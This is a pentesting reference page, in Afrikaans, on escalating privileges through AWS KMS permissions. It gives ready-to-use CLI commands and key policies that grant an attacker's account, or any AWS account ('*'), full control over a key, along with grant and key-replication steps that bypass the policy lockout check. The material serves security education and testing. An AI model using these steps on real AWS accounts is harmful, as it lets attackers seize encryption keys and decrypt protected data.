# AWS - KMS Privesc

{{#include ../../../../banners/hacktricks-training.md}}

## KMS

Vir meer inligting oor KMS sien:

{{#ref}}
../../aws-services/aws-kms-enum.md
{{#endref}}

### `kms:ListKeys`,`kms:PutKeyPolicy`, (`kms:ListKeyPolicies`, `kms:GetKeyPolicy`)

Met hierdie toestemmings is dit moontlik om **die toegangstoestemmings tot die sleutel te wysig** sodat dit deur ander rekeninge of selfs enigiemand gebruik kan word:
```bash
aws kms list-keys
aws kms list-key-policies --key-id <id> # Although only 1 max per key
aws kms get-key-policy --key-id <id> --policy-name <policy_name>
# AWS KMS keys can only have 1 policy, so you need to use the same name to overwrite the policy (the name is usually "default")
aws kms put-key-policy --key-id <id> --policy-name <policy_name> --policy file:///tmp/policy.json
```
policy.json:
```json
{
"Version": "2012-10-17",
"Id": "key-consolepolicy-3",
"Statement": [
{
"Sid": "Enable IAM User Permissions",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::<origin_account>:root"
},
"Action": "kms:*",
"Resource": "*"
},
{
"Sid": "Allow all use",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::<attackers_account>:root"
},
"Action": ["kms:*"],
"Resource": "*"
}
]
}
```
### `kms:CreateGrant`

Dit **laat 'n entiteit toe om 'n KMS-sleutel te gebruik:**
```bash
aws kms create-grant \
--key-id 1234abcd-12ab-34cd-56ef-1234567890ab \
--grantee-principal arn:aws:iam::123456789012:user/exampleUser \
--operations Decrypt
```
> [!WARNING]
> ’n grant kan slegs sekere tipes operasies toelaat: https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations

> [!WARNING]
> Let wel dat dit 'n paar minute kan neem voordat KMS **toelaat dat die gebruiker die sleutel kan gebruik nadat die grant gegenereer is**. Sodra daardie tyd verby is, kan die principal die KMS key gebruik sonder om enigiets te hoef te spesifiseer.\
> Indien dit egter nodig is om die grant onmiddellik te gebruik, [use a grant token](https://docs.aws.amazon.com/kms/latest/developerguide/grant-manage.html#using-grant-token) (kyk na die volgende kode).\
> Vir [**more info read this**](https://docs.aws.amazon.com/kms/latest/developerguide/grant-manage.html#using-grant-token).
```bash
# Use the grant token in a request
aws kms generate-data-key \
--key-id 1234abcd-12ab-34cd-56ef-1234567890ab \
–-key-spec AES_256 \
--grant-tokens $token
```
Let wel dat dit moontlik is om grants van sleutels te lys met:
```bash
aws kms list-grants --key-id <value>
```
### `kms:CreateKey`, `kms:ReplicateKey`

Met hierdie permissies is dit moontlik om 'n multi-region enabled KMS key in 'n ander regio met 'n ander policy te repliseer.

Dus kan 'n aanvaller dit misbruik om privesc te verkry op toegang tot die sleutel en dit te gebruik.
```bash
aws kms replicate-key --key-id mrk-c10357313a644d69b4b28b88523ef20c --replica-region eu-west-3 --bypass-policy-lockout-safety-check --policy file:///tmp/policy.yml

{
"Version": "2012-10-17",
"Id": "key-consolepolicy-3",
"Statement": [
{
"Sid": "Enable IAM User Permissions",
"Effect": "Allow",
"Principal": {
"AWS": "*"
},
"Action": "kms:*",
"Resource": "*"
}
]
}
```
### `kms:Decrypt`

Hierdie toestemming maak dit moontlik om 'n sleutel te gebruik om sekere inligting te decrypt.\
Vir meer inligting, sien:

{{#ref}}
../../aws-post-exploitation/aws-kms-post-exploitation/README.md
{{#endref}}

{{#include ../../../../banners/hacktricks-training.md}}
